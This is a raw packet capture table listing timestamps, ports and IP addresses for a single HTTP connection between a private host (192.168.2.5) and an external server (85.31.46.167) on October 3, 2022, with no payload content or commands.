Oct 3, 2022 17:29:59.805310011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805310011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805315971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805339098 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805346012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805373907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805387974 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805387974 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805394888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805435896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805435896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805568933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805589914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805617094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805630922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805635929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805653095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805654049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805681944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805696964 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805696964 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805733919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805743933 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805752993 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805780888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805804968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805804968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805833101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805852890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805855989 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805855989 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805879116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805896997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805900097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805927038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805946112 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805949926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805949926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805991888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.805996895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.805996895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806020975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806024075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806040049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806055069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806066036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806083918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806093931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806114912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806126118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806147099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806155920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806176901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806196928 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806210041 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806224108 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806246996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806253910 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806277037 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806284904 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806307077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806314945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806337118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806345940 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806368113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806375027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806396961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806404114 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806427002 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806435108 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806457996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806466103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806488991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806495905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806520939 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806526899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806550980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806577921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806581020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806607008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806612015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806644917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806657076 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806677103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806701899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806706905 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806734085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806740999 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806752920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806773901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806781054 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806807995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806813002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806838989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806845903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806870937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806895971 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806924105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.806937933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806969881 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.806993008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807002068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807008982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807033062 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807039976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807061911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807071924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807113886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807126045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807145119 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807149887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807174921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807182074 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807204962 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807214022 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807235003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807259083 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807265043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807279110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807296038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807303905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807326078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807333946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807354927 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.807365894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.807401896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.832664967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.832719088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.832751036 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.832767963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.832782984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.832818985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.832829952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.832829952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.832844973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.832853079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.832864046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.832886934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.832914114 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.832917929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.832951069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.832982063 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.832982063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833014011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833024979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833046913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833051920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833080053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833086967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833112001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833122015 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833142996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833152056 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833174944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833182096 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833209038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833215952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833244085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833250046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833285093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833292007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833317995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833323956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833350897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833358049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833383083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833390951 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833416939 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833420992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833450079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833456993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833482981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833487988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833523035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833524942 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833555937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833560944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833589077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833595991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833621979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833631039 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833656073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833661079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833688974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833695889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833720922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833729029 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833760977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833761930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833794117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833802938 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833833933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833836079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833877087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833883047 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833911896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833914995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.833956003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.833970070 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.834012985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.834017038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.834074020 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.949419975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.976737022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982002974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982062101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982095003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982111931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982130051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982162952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982165098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982162952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982180119 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982198954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982203007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982233047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982235909 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982266903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982268095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982300043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982310057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982332945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982338905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982366085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982368946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982400894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982403040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982434988 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982438087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982469082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982471943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982503891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982517004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982537985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982542992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982572079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982575893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982606888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982610941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982641935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982642889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982673883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982678890 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982707024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982709885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982738972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982743979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982770920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982774973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982805014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982806921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982837915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982841969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982872009 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982876062 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982916117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982928991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982959986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982969046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.982995033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.982995987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983028889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983031034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983061075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983063936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983093023 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983100891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983124971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983129025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983158112 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983161926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983191967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983196020 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983227015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983231068 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983259916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983263016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983294964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983295918 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983328104 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983330965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983361959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983364105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983395100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983397007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983428001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983429909 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983460903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983463049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983495951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983500004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983530998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983534098 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983562946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983566999 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983597040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983598948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983629942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983630896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983666897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983669996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983700991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983705044 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983732939 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983736992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983767033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983769894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983799934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983803034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983835936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983845949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983874083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983875036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983906984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983910084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983937979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983946085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.983972073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.983975887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984005928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984006882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984040022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984041929 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984074116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984076023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984107018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984111071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984139919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984142065 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984170914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984174967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:29:59.984204054 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:29:59.984206915 CEST	49694	80	192.168.2.5	85.31.46.167
